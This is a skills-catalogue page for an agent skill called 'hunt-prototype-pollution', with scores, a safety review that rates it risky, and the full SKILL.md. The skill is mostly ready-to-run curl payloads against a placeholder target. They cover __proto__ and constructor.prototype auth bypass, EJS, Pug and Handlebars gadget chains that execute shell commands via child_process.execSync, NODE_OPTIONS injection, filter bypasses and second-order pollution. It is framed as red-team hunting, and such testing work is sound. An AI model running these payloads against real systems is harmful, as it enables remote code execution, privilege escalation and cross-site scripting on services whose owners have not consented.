SkillAgentSearch skills...

hunt-prototype-pollution

Hunt client-side and server-side prototype pollution for XSS, auth bypass, and RCE.

Install / Use

npx skills add uphiago/recon-skills --skill hunt-prototype-pollution

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

89/100

Category

Design

Supported Platforms

Universal

Our assessment of hunt-prototype-pollution

hunt-prototype-pollution scores 89/100 on our quality scale, 103rd of 260 Design skills we index (top 40%).

Its SKILL.md is 6.2 KB long, well organised into 25 sections with 9 code examples: a thorough specification that gives an agent plenty to work with.

With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
12/15
Adoption
13/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 3 months ago, so hunt-prototype-pollution is actively maintained.
  • Our last check on 2026-10-31 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to run curl commands that exploit server-side prototype pollution gadget chains (EJS outputFunctionName, Pug self.block, Handlebars compileFunction, NODE_OPTIONS) to achieve RCE via child_process.execSync.

AI review: risky

  • Instructs the agent to run curl commands that exploit server-side prototype pollution gadget chains (EJS outputFunctionName, Pug self.block, Handlebars compileFunction, NODE_OPTIONS) to achieve RCE via child_process.execSync.
  • Directs the agent to inject auth-bypass payloads like {"__proto__":{"isAdmin":true}} and XSS vectors like javascript:alert(1) through polluted options.
  • As a SKILL.md file these are active instructions the agent will follow, not passive documentation, causing it to perform offensive attacks against target systems.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

hunt-prototype-pollution compared with similar skills

All 4 of these similar skills score higher than hunt-prototype-pollution; compare them before choosing.

SkillScoreStarsUpdatedFormat
hunt-prototype-pollution (this skill)by uphiago891.3k3mo agoSKILL.md
Agent-Reachby Panniantong100112.3k8d agoCLAUDE.md
headroomby headroomlabs-ai10079.8ktodayCLAUDE.md
Scraplingby D4Vinci100103.6k2d agoMCP Server
crawl4aiby unclecode10087.4k3d agoMCP Server

Frequently asked questions

How do I install hunt-prototype-pollution?
Run npx skills add uphiago/recon-skills --skill hunt-prototype-pollution. The install tabs above show the steps for each supported agent.
Which AI agents does hunt-prototype-pollution work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is hunt-prototype-pollution safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to run curl commands that exploit server-side prototype pollution gadget chains (EJS outputFunctionName, Pug self.block, Handlebars compileFunction, NODE_OPTIONS) to achieve RCE via child_process.execSync. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is hunt-prototype-pollution still maintained?
The repository was last updated about 3 months ago, so hunt-prototype-pollution is actively maintained.

name: hunt-prototype-pollution description: Hunt client-side and server-side prototype pollution for XSS, auth bypass, and RCE. category: redteam version: 1.1.0 revision_date: 2026-07-25 license: MIT platforms: [linux] compatibility: Requires curl, python3 tags: [redteam, prototype-pollution, XSS, RCE, JavaScript, Node.js, jQuery] related_skills:

  • hunt-nodejs
  • hunt-xss
  • hunt-api-misconfig

Prototype Pollution Hunting

Hunt for prototype pollution vulnerabilities where user-supplied properties merge into Object.prototype, affecting all objects in the runtime. Client-side pollution enables DOM XSS, cookie manipulation, and auth bypass. Server-side pollution chains to RCE via gadget chains in template engines (EJS, Pug, Handlebars) and CLI wrappers (child_process, NODE_OPTIONS).

When to Use

  • Application uses JavaScript/Node.js with object merge, clone, or extend operations on user input.
  • jQuery $.extend(true, ...) or $.fn.merge() with deep copy on untrusted data.
  • Lodash _.merge(), _.defaultsDeep(), _.set() receiving request body/query params.
  • Template engines (EJS, Pug, Handlebars) in the same runtime as user-controlled objects.
  • Server-side Node.js with child_process.exec/spawn accessible via polluted options.

Quick Detection

# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"

# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

Procedure

Phase 1 — Client-Side Pollution Vectors

# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted

# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"polluted":"yes"}}'

# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
  -d '__proto__[polluted]=true'

# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/settings" \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}'

Phase 2 — Server-Side RCE via Gadget Chains

EJS RCE (outputFunctionName):

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/render" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"outputFunctionName":"_tmp;global.process.mainModule.require(\"child_process\").execSync(\"id\");"}}'

Pug RCE (self.block):

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/preferences" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

Handlebars RCE (compileFunction):

curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/profile" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"precompileOptions":{"knownHelpersOnly":false,"compat":true},"compileFunction":"return process.mainModule.require(\"child_process\").execSync(\"id\").toString();"}}'

NODE_OPTIONS injection:

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/task" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"NODE_OPTIONS":"--require /proc/self/environ","shell":"/bin/sh","env":{"NODE_DEBUG":"test"}}}'

Phase 3 — Filter Bypass Techniques

# Unicode normalization (e.g., ä → a)
https://target.com/?__proto__[test]=1         # blocked
https://target.com/?__pröto__[test]=1         # bypass (ä normalizes to a)

# constructor.prototype path
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -d '{"constructor":{"prototype":{"polluted":true}}}'

# Array pollution (lodash specific)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -d '{"__proto__":{"polluted":[]}}'  # forces array coercion

# ppfuzz — automated prototype pollution scanner
ppfuzz -u https://target.com/api/merge -m POST -H "Content-Type: application/json"

Phase 4 — Client-Side Exploitation

// Verify pollution in browser console
Object.prototype.polluted  // should return the injected value

// DOM XSS via polluted options
// If the app uses jQuery $.extend with polluted {url: "javascript:alert(1)"}

// Auth bypass: pollute isAdmin
// If the app checks if (user.isAdmin) without hasOwnProperty

Phase 5 — Second-Order Pollution

# Store pollution in database, triggered by background job
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/profile" \
  -H "Content-Type: application/json" \
  -d '{"name":{"__proto__":{"isAdmin":true}}}'

# Later, when an admin views the profile or a cron job processes it,
# the pollution triggers in that context

Pitfalls

  • Not every __proto__ in a request is a finding. Only report when the polluted property actually affects application behavior.
  • Node.js 12+ and newer lodash versions have partial mitigations. Test with older versions first.
  • Server-side pollution requires a gadget. Polluting random objects without reaching a sink (exec, eval, template) has no impact.
  • BlackFan's client-side prototype pollution catalog is the canonical reference — cross-check findings against it.

Verification

  1. Inject __proto__[test]=value and verify Object.prototype.test === value in browser console or server response.
  2. For RCE: confirm command execution produces output (id/whoami) in a visible sink.
  3. For XSS: verify the polluted property reaches innerHTML, eval, document.write, or a script src attribute.
  4. Document the exact merge/copy function and the polluted property chain.

Related Skills

  • hunt-nodejs — Node.js-specific vulnerabilities including prototype pollution in Express/Next.js.
  • hunt-xss — DOM XSS often exploitable through client-side prototype pollution.
  • hunt-api-misconfig — Object merge on request bodies without hasOwnProperty checks.

Related Skills

View on GitHub
GitHub Stars1.3k
CategoryDesign
Updated2mo ago
Forks215

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions